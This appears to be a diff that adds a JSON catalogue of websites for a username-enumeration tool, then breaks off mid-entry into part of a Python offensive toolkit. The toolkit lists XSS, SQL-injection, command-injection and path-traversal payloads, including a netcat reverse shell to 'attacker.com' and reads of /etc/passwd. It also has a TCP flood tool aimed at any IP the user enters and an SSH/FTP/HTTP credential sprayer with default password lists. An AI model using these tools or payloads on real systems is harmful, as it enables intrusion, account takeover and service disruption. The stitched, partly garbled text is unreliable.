не имеет профиля для просмотра.", + "errorMsg2": "VirtualIreland.ru - Виртуальная Ирландия", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://www.virtualireland.ru/member.php?username={}", + "urlMain": "https://www.virtualireland.ru", + "usernameON": "Lee", + "bad_site": "" + }, + "Vishivalochka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://vishivalochka.ru/index/8-0-{}", + "urlMain": "http://vishivalochka.ru", + "usernameON": "Caliopa", + "comments": "Oplata", + "bad_site": "" + }, + "Vivino": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.vivino.com/users/{}", + "urlMain": "https://www.vivino.com/", + "usernameON": "adam", + "bad_site": "" + }, + "VK": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://vk.com/{}", + "urlMain": "https://vk.com/", + "usernameON": "smith", + "bad_site": "" + }, + "Vkaline": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://www.vkaline.ru/forum/member.php?username={}", + "urlMain": "http://www.vkaline.ru", + "usernameON": "Varelik", + "comments": "old", + "bad_site": 1 + }, + "Vkrugudrusey": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "\\W", + "errorTyp��": "response_url", + "url": "http://{}.vkrugudrusey.ru/x/blog/all/", + "urlMain": "http://vkrugudrusey.ru", + "usernameON": "irina", + "comments": "Archive", + "bad_site": 1 + }, + "Vlab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "<title>Информация", + "errorTyp��": "message", + "url": "https://vlab.su/search.php?keywords=&terms=all&author={}", + "urlMain": "https://vlab.su", + "usernameON": "Sword93", + "bad_site": "" + }, + "Vladimirka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://www.vladimirka.ru/board/profile/{}", + "urlMain": "http://www.vladimirka.ru", + "usernameON": "anyazxc1", + "bad_site": "" + }, + "Vladmama": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "<title>Информация |", + "errorTyp��": "message", + "url": "https://vladmama.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://vladmama.ru", + "usernameON": "Lenok2803", + "bad_site": "" + }, + "Vlmi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Упс! Мы столкнулись с некоторыми проблемами. | VLMI Интернет-безопасность, обмен приватной информацией", + "errorMsg2": "Полезные пользователи | VLMI Интернет-безопасность, обмен приватной информацией", + "errorTyp��": "message", + "url": "https://vlmi.biz/members/?username={}", + "urlMain": "https://vlmi.biz", + "usernameON": "mixa", + "comments": "old", + "bad_site": 1 + }, + "Voices": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.voices.com/actors/{}", + "urlMain": "https://www.voices.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Voicesevas": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://voicesevas.ru/user/{}/", + "urlMain": "http://voicesevas.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Volga-gaz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://volga-gaz.nnov.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://volga-gaz.nnov.ru", + "usernameON": "serg6033", + "bad_site": "" + }, + "Volkodavcaoko": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://volkodavcaoko.forum24.ru/?32-{}", + "urlMain": "https://volkodavcaoko.forum24.ru", + "usernameON": "itaka", + "bad_site": "" + }, + "Volkswagen": { + "country": "🇺🇦", + "country_klas": "UA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://volkswagen.lviv.ua/members/?username={}", + "urlMain": "http://volkswagen.lviv.ua", + "usernameON": "scirocco", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Volleybox": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://volleybox.net/ru/user/{}", + "urlMain": "https://volleybox.net", + "usernameON": "volleyjerseys", + "comments": "cf", + "bad_site": "" + }, + "Votetags": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page not found", + "errorMsg2": "<body class=\"archive author\">", + "errorTyp��": "message", + "url": "https://www.votetags.info/author/{}/", + "urlMain": "https://www.votetags.info/", + "usernameON": "safeclothes", + "bad_site": "" + }, + "VSCO": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://vsco.co/{}", + "urlMain": "https://vsco.co/", + "usernameON": "blue", + "bad_site": "" + }, + "Vse": { + "country": "🇰🇿", + "country_klas": "KZ", + "errorMsg": "Поиск не дал результатов", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://vse.kz/index.php?app=core&module=search&do=search&andor_type=members&search_app_filters[members][members][sortKey]=date&search_term={}&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=1", + "urlMain": "https://vse.kz", + "usernameON": "vturekhanov", + "comments": "old_feb_2025", + "bad_site": 1 + }, + "Vulengate": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.vulengate.com/members/?username={}", + "urlMain": "https://www.vulengate.com", + "usernameON": "dmanskits", + "comments": "cf", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Vulgo_rolka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://vulgo.rolka.me/search.php?action=search&keywords=&author={}", + "urlMain": "https://vulgo.rolka.me", + "usernameON": "tania25297", + "bad_site": "" + }, + "Vyshyvanka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://vyshyvanka.ucoz.ru/index/8-0-{}", + "urlMain": "https://vyshyvanka.ucoz.ru", + "usernameON": "Sirena", + "bad_site": "" + }, + "Vzvd": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://vzvd.ru/forum/index.php?p=/profile/{}", + "urlMain": "https://vzvd.ru", + "usernameON": "Troll", + "bad_site": "" + }, + "W3challs": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "404 Page not found – W3Challs Hacking Challenges", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://w3challs.com/profile/{}", + "urlMain": "https://w3challs.com/", + "usernameON": "adam", + "bad_site": "" + }, + "W3schools": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "problem", + "errorMsg2": "0 results", + "errorTyp��": "message", + "url": "https://w3schools.invisionzone.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://w3schools.invisionzone.com", + "usernameON": "DubaiSouthVillas", + "comments": "cf", + "bad_site": "" + }, + "W7forums": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://www.w7forums.com/members/?username={}", + "urlMain": "https://www.w7forums.com", + "usernameON": "adam", + "bad_site": "" + }, + "Wakatime": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://wakatime.com/@{}", + "urlMain": "https://wakatime.com", + "usernameON": "adam", + "bad_site": "" + }, + "Wanelo": { + "country": "🇺🇸", + "country_klas": "US", + "exclusion": "\\W|[а-я-А-Я]", + "errorTyp��": "status_code", + "url": "https://wanelo.co/{}", + "urlMain": "https://wanelo.co", + "usernameON": "adam", + "comments": "old", + "bad_site": 1 + }, + "Warcraft3ft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://warcraft3ft.clan.su/index/8-0-{}", + "urlMain": "https://warcraft3ft.clan.su", + "usernameON": "Inods", + "bad_site": "" + }, + "Warhammercommunity": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://warhammercommunity.com/forum/members/?username={}", + "urlMain": "https://warhammercommunity.com", + "usernameON": "harleyquinn", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Warriorforum": { + "country": "🇦🇺", + "country_klas": "AU", + "errorTyp��": "status_code", + "url": "https://www.warriorforum.com/members/{}.html", + "urlMain": "https://www.warriorforum.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Wasm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://wasm.in/members/?username={}", + "urlMain": "https://wasm.in", + "usernameON": "entropy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Wattpad": { + "country": "🇨🇦", + "country_klas": "CA", + "errorMsg": "userError-404", + "errorMsg2": "Why do I have to complete a CAPTCHA?", + "errorTyp��": "message", + "url": "https://www.wattpad.com/user/{}", + "urlMain": "https://www.wattpad.com/", + "usernameON": "Dogstho7951", + "bad_site": "" + }, + "Wc3": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://wc3.3dn.ru/index/8-0-{}", + "urlMain": "http://wc3.3dn.ru", + "usernameON": "Terror", + "bad_site": "" + }, + "Weasyl": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.weasyl.com/~{}", + "urlMain": "https://www.weasyl.com", + "usernameON": "adam", + "bad_site": "" + }, + "Webhamster": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://webhamster.ru/punbb/userlist.php?username={}", + "urlMain": "https://webhamster.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Weblancer": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://www.weblancer.net/users/{}/", + "urlMain": "https://www.weblancer.net", + "usernameON": "alraa", + "bad_site": "" + }, + "Webonrails": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://webonrails.ru/user/{}/", + "urlMain": "https://webonrails.ru", + "usernameON": "rediska", + "comments": "old", + "bad_site": 1 + }, + "WebOS": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://webos-forums.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=msgonly&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://webos-forums.ru", + "usernameON": "tessi", + "bad_site": "" + }, + "Weburg": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": ">К сожалению в разделе", + "errorMsg2": "Ê ñîæàëåíèþ â ðàçäåëå", + "errorMsg3": "ничего не найдено", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://weburg.net/search?where=10&search=1&q={}", + "urlMain": "https://weburg.net", + "usernameON": "adam", + "comments": "Oplata", + "bad_site": "" + }, + "Weedmaps": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Find Marijuana Dispensaries, Brands, Delivery, Deals & Doctors", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://weedmaps.com/brands/{}", + "urlMain": "https://weedmaps.com", + "usernameON": "adams", + "bad_site": "" + }, + "Weforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "World Economic Forum", + "errorMsg2": "404: Page cannot", + "errorTyp��": "message", + "url": "https://www.weforum.org/people/{}", + "urlMain": "https://www.weforum.org", + "usernameON": "adam-leismark", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "Cookie": "SUB=_2AkMQFRkHf8NxqwFRmf4WyW7haIt_ywnEieKmSejcJRMxHRl-yT9kqkpStRB6O5U36I0wj1ke-VrTHS_G3IfYEdZRb2jF", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Wego_social": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://wego.social/{}", + "urlMain": "https://wego.social", + "usernameON": "CRHoman", + "bad_site": "" + }, + "Weld": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "<title>Сварочный Форум", + "errorTyp��": "message", + "url": "https://weld.in.ua/forum/member.php/?username={}", + "urlMain": "https://weld.in.ua", + "usernameON": "red", + "bad_site": "" + }, + "Wfts": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Ошибка: игрок не найден", + "errorMsg2": "Warface TrueSight | Профиль игрока не существует", + "errorMsg3": "не существует", + "errorTyp��": "message", + "url": "https://wfts.su/profile/{}", + "urlMain": "https://wfts.su/", + "usernameON": "%D0%9B%D0%90%D0%A0%D0%A0%D0%9830", + "bad_site": "" + }, + "Whitewaterguidebook": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.whitewaterguidebook.com/forums/users/{}/", + "urlMain": "https://www.whitewaterguidebook.com", + "usernameON": "justincarson", + "bad_site": "" + }, + "Whonix": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No results found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "search":"{\\"posts\\":[],\\"users\\":[],\\"categories", + "errorTyp��": "message", + "url": "https://forums.whonix.org/search?expanded=true&q=%40{}", + "urlMain": "https://forums.whonix.org/", + "usernameON": "red", + "bad_site": "" + }, + "Whyislam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено", + "errorMsg2": "0 пользоват", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.whyislam.to/forum/memberlist.php?username={}", + "urlMain": "https://www.whyislam.to/", + "usernameON": "adam", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "Cookie": "SUB=_2AkMQFRkHf8NxqwFRmf4WyW7haIt_ywnEieKmSejcJRMxHRl-yT9kqkpStRB6O5U36I0wj1ke-VrTHS_G3IfYEdZRb2jF", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Wickeditor": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.wickeditor.com/u/{}/summary", + "urlMain": "https://forum.wickeditor.com", + "usernameON": "jayanimatic", + "bad_site": "" + }, + "Wikidot": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "User does not exist.", + "errorMsg2": "Wikidot is not available in Russia", + "errorTyp��": "message", + "url": "http://www.wikidot.com/user:info/{}", + "urlMain": "http://www.wikidot.com/", + "usernameON": "blue", + "comments": "RUblock", + "bad_site": "" + }, + "Wikigrib": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Энциклопедия грибов «ВикиГриб»", + "errorMsg2": "pagetitle\">Ваша страница", + "errorTyp��": "message", + "url": "https://wikigrib.ru/author/{}/", + "urlMain": "https://wikigrib.ru", + "usernameON": "sergeym", + "bad_site": "" + }, + "Wikihow": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.wikihow.com/Author/{}", + "urlMain": "https://www.wikihow.com", + "usernameON": "Ikaika-Cox", + "bad_site": "" + }, + "Wikiloc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.wikiloc.com/wikiloc/findPeople.do?name={}", + "urlMain": "https://www.wikiloc.com", + "usernameON": "LosK2delasKumbres", + "bad_site": "" + }, + "Wikimapia": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorMsg2": "", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "http://wikimapia.org/user/tools/users_rating/?username={}", + "urlMain": "http://wikimapia.org", + "usernameON": "adam", + "bad_site": "" + }, + "Wikipedia": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "is not registered", + "errorMsg2": "Wikipedia does not have", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.wikipedia.org/wiki/User:{}", + "urlMain": "https://www.wikipedia.org/", + "usernameON": "Zanuda_petro", + "bad_site": "" + }, + "Wikipediocracy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Sorry but you cannot use", + "errorMsg2": "No suitable matches were found.", + "errorMsg3": "Information", + "errorTyp��": "message", + "url": "https://wikipediocracy.com/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://wikipediocracy.com", + "usernameON": "Anroth", + "bad_site": "" + }, + "Wikiquote": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ru.wikiquote.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "urlMain": "https://ru.wikiquote.org", + "usernameON": "Zwyciezca", + "bad_site": "" + }, + "Wikivoyage": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://ru.wikivoyage.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "urlMain": "https://ru.wikivoyage.org", + "usernameON": "Savh", + "bad_site": "" + }, + "Wiktionary": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://ru.wiktionary.org/w/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}&action=view", + "urlMain": "https://ru.wiktionary.org", + "usernameON": "Merdiginn", + "bad_site": "" + }, + "Wild-nature": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Наши авторы | Дикая природа в фотографиях и рассказах", + "errorMsg2": "Страница не найдена", + "errorTyp��": "message", + "url": "http://www.wild-nature.ru/users/{}", + "urlMain": "http://www.wild-nature.ru", + "usernameON": "lana75", + "bad_site": "" + }, + "Wimkin": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://wimkin.com/{}", + "urlMain": "https://wimkin.com", + "usernameON": "JRourke", + "bad_site": "" + }, + "Windows10forums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.windows10forums.com/members/?username={}", + "urlMain": "https://www.windows10forums.com/", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Windowsforum": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://windowsforum.com/members/?username={}", + "urlMain": "https://windowsforum.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Windy": { + "country": "🇨🇿", + "country_klas": "CZ", + "errorTyp��": "status_code", + "url": "https://community.windy.com/user/{}", + "urlMain": "https://windy.com/", + "usernameON": "blue", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Wineberserkers": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.wineberserkers.com/u/{}/summary", + "urlMain": "https://www.wineberserkers.com", + "usernameON": "ybarselah", + "bad_site": "" + }, + "Winnipegwatch": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "was not found.", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://winnipegwatch.websitetoolbox.com/search?keywords=&searchin=message&member={}&do=findposts&id=&replies=atleast&numreplies=0&daterange=0&custdatefrom=&custdateto=&sort=&order=desc&radio_showas=threads&btnSearch=Search&action=doSearch", + "urlMain": "https://winnipegwatch.websitetoolbox.com", + "usernameON": "Prevost12", + "comments": "cf", + "bad_site": 1 + }, + "Wireclub": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "url": "https://www.wireclub.com/users/{}", + "urlMain": "https://www.wireclub.com", + "usernameON": "adam", + "bad_site": "" + }, + "Wiscobourbon": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://wiscobourbon.com/forums/users/{}/", + "urlMain": "https://wiscobourbon.com", + "usernameON": "lbourbonlover123", + "bad_site": "" + }, + "Wishlistr": { + "country": "🇸🇪", + "country_klas": "SE", + "errorMsg": "robots\" content=\"noindex, nofollow", + "errorMsg2": "Page Not Found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.wishlistr.com/profile/{}", + "urlMain": "https://www.wishlistr.com", + "usernameON": "adam", + "bad_site": "" + }, + "Witchnest": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Domain Error Page", + "errorMsg2": "Страница не найдена", + "errorMsg3": ";", + "errorTyp��": "message", + "url": "https://witchnest.ru/user/{}/", + "urlMain": "https://witchnest.ru", + "comments": "super", + "usernameON": "Polina", + "bad_site": "" + }, + "Wittyprofiles": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "It looks like you are looking for something that isn't here.", + "errorMsg2": "QT Media 404", + "errorTyp��": "message", + "url": "http://www.wittyprofiles.com/author/{}", + "urlMain": "http://www.wittyprofiles.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Wix": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://{}.wix.com", + "urlMain": "https://wix.com/", + "usernameON": "support", + "bad_site": "" + }, + "Wolpy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "ItPage not found", + "errorMsg2": "doesn't exist", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://wolpy.com/{}", + "urlMain": "https://wolpy.com", + "usernameON": "FaustinFavreau", + "bad_site": "" + }, + "Wordart": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://wordart.com/gallery/user/{}", + "urlMain": "https://wordart.com", + "usernameON": "Jarmiviktoria", + "bad_site": "" + }, + "WordPress": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://{}.wordpress.com/", + "urlMain": "https://wordpress.com", + "usernameON": "blue", + "bad_site": "" + }, + "WordPressOrg": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://profiles.wordpress.org/{}/", + "urlMain": "https://wordpress.org/", + "usernameON": "blue", + "bad_site": "" + }, + "Worldofwarcraft_blizzard": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Error 404", + "errorMsg2": "WoW', + '', + '', + '">', + "'-alert(1)-'", + '', + '{{constructor.constructor("alert(1)")()}}', + ], + "2": [ # SQLi + "' OR '1'='1", + "' OR '1'='1' --", + "'; DROP TABLE users; --", + "1' ORDER BY 1--", + "1 UNION SELECT null,null,null--", + "' AND 1=1 --", + "admin'--", + ], + "3": [ # Command Injection + "; ls -la", + "| cat /etc/passwd", + "& whoami", + "`id`", + "$(whoami)", + "; ping -c 3 127.0.0.1", + "| nc -e /bin/sh attacker.com 4444", + ], + "4": [ # Path Traversal + "../../../etc/passwd", + "..\\..\\..\\windows\\system32\\config\\sam", + "....//....//....//etc/passwd", + "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd", + "..%252f..%252f..%252fetc/passwd", + "/etc/passwd%00", + ], + "5": [ # SSTI + "{{7*7}}", + "${7*7}", + "{{config}}", + "{{self.__class__.__mro__}}", + "<%= 7*7 %>", + "{{request.application.__globals__}}", + ], + } + + if choice in payloads: + names = { + "1": "XSS", "2": "SQL Injection", "3": "Command Injection", + "4": "Path Traversal", "5": "SSTI" + } + print(f"\n{Colors.CYAN}{names[choice]} Payloads:{Colors.RESET}\n") + for i, payload in enumerate(payloads[choice], 1): + print(f" [{i}] {payload}") + + def network_stress(self): + """Network stress test (controlled).""" + print(f"\n{Colors.BOLD}Network Stress Test{Colors.RESET}") + print(f"{Colors.RED}WARNING: Only use on systems you own or have permission to test!{Colors.RESET}\n") + + target = input(f"{Colors.WHITE}Enter target IP: {Colors.RESET}").strip() + port = input(f"{Colors.WHITE}Enter target port: {Colors.RESET}").strip() + duration = input(f"{Colors.WHITE}Duration in seconds [5]: {Colors.RESET}").strip() or "5" + + if not target or not port: + return + + try: + port = int(port) + duration = int(duration) + if duration > 30: + duration = 30 + print(f"{Colors.YELLOW}Limited to 30 seconds max{Colors.RESET}") + except: + self.print_status("Invalid input", "error") + return + + confirm = input(f"\n{Colors.YELLOW}Start stress test against {target}:{port} for {duration}s? (yes/no): {Colors.RESET}").strip() + if confirm.lower() != 'yes': + return + + print(f"\n{Colors.CYAN}Starting stress test...{Colors.RESET}") + + import time + start_time = time.time() + connections = 0 + errors = 0 + + while time.time() - start_time < duration: + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(1) + sock.connect((target, port)) + sock.send(b"X" * 1024) + sock.close() + connections += 1 + except: + errors += 1 + + if connections % 100 == 0: + print(f"\r{Colors.DIM}Connections: {connections}, Errors: {errors}{Colors.RESET}", end="") + + print(f"\n\n{Colors.GREEN}Test complete:{Colors.RESET}") + print(f" Connections attempted: {connections}") + print(f" Errors: {errors}") + print(f" Duration: {duration}s") + + # ==================== CREDENTIAL SPRAYER ==================== + + DEFAULT_USERNAMES = [ + 'admin', 'root', 'user', 'test', 'guest', 'administrator', 'ftp', + 'www', 'postgres', 'mysql', 'oracle', 'backup', 'operator', 'info', + 'support', 'webmaster', 'demo', 'pi', 'ubuntu', 'deploy', + ] + + DEFAULT_PASSWORDS = [ + 'password', '123456', 'admin', 'root', 'letmein', 'welcome', + 'changeme', 'test', 'guest', 'default', 'pass', 'qwerty', + '123456789', 'password1', '12345678', '1234', 'abc123', + 'monkey', 'master', 'dragon', + ] + + def credential_sprayer(self): + """Credential spraying against network services.""" + print(f"\n{Colors.BOLD}Credential Sprayer{Colors.RESET}") + print(f"{Colors.RED}WARNING: Only use on systems you own or have explicit authorization to test!{Colors.RESET}") + print(f"{Colors.DIM}Test common credentials against network services{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + # Protocol selection + print(f" {Colors.YELLOW}[1]{Colors.RESET} SSH") + print(f" {Colors.YELLOW}[2]{Colors.RESET} FTP") + print(f" {Colors.YELLOW}[3]{Colors.RESET} HTTP Basic Auth") + print() + + proto_choice = input(f"{Colors.WHITE}Select protocol: {Colors.RESET}").strip() + protocols = {'1': 'ssh', '2': 'ftp', '3': 'http'} + protocol = protocols.get(proto_choice) + if not protocol: + return + + default_ports = {'ssh': '22', 'ftp': '21', 'http': '80'} + target = input(f"{Colors.WHITE}Target IP/hostname: {Colors.RESET}").strip() + if not target: + return + + port = input(f"{Colors.WHITE}Port [{Colors.GREEN}{default_ports[protocol]}{Colors.WHITE}]: {Colors.RESET}").strip() or default_ports[protocol] + try: + port = int(port) + except ValueError: + self.print_status("Invalid port", "error") + return + + # Username source + print(f"\n{Colors.CYAN}Username source:{Colors.RESET}") + print(f" {Colors.YELLOW}[1]{Colors.RESET} Built-in top 20") + print(f" {Colors.YELLOW}[2]{Colors.RESET} Manual entry") + print(f" {Colors.YELLOW}[3]{Colors.RESET} File") + + user_choice = input(f"{Colors.WHITE}Select: {Colors.RESET}").strip() + usernames = [] + if user_choice == '1': + usernames = self.DEFAULT_USERNAMES[:] + elif user_choice == '2': + user_input = input(f"{Colors.WHITE}Usernames (comma-separated): {Colors.RESET}").strip() + usernames = [u.strip() for u in user_input.split(',') if u.strip()] + elif user_choice == '3': + filepath = input(f"{Colors.WHITE}Username file path: {Colors.RESET}").strip() + try: + with open(filepath, 'r') as 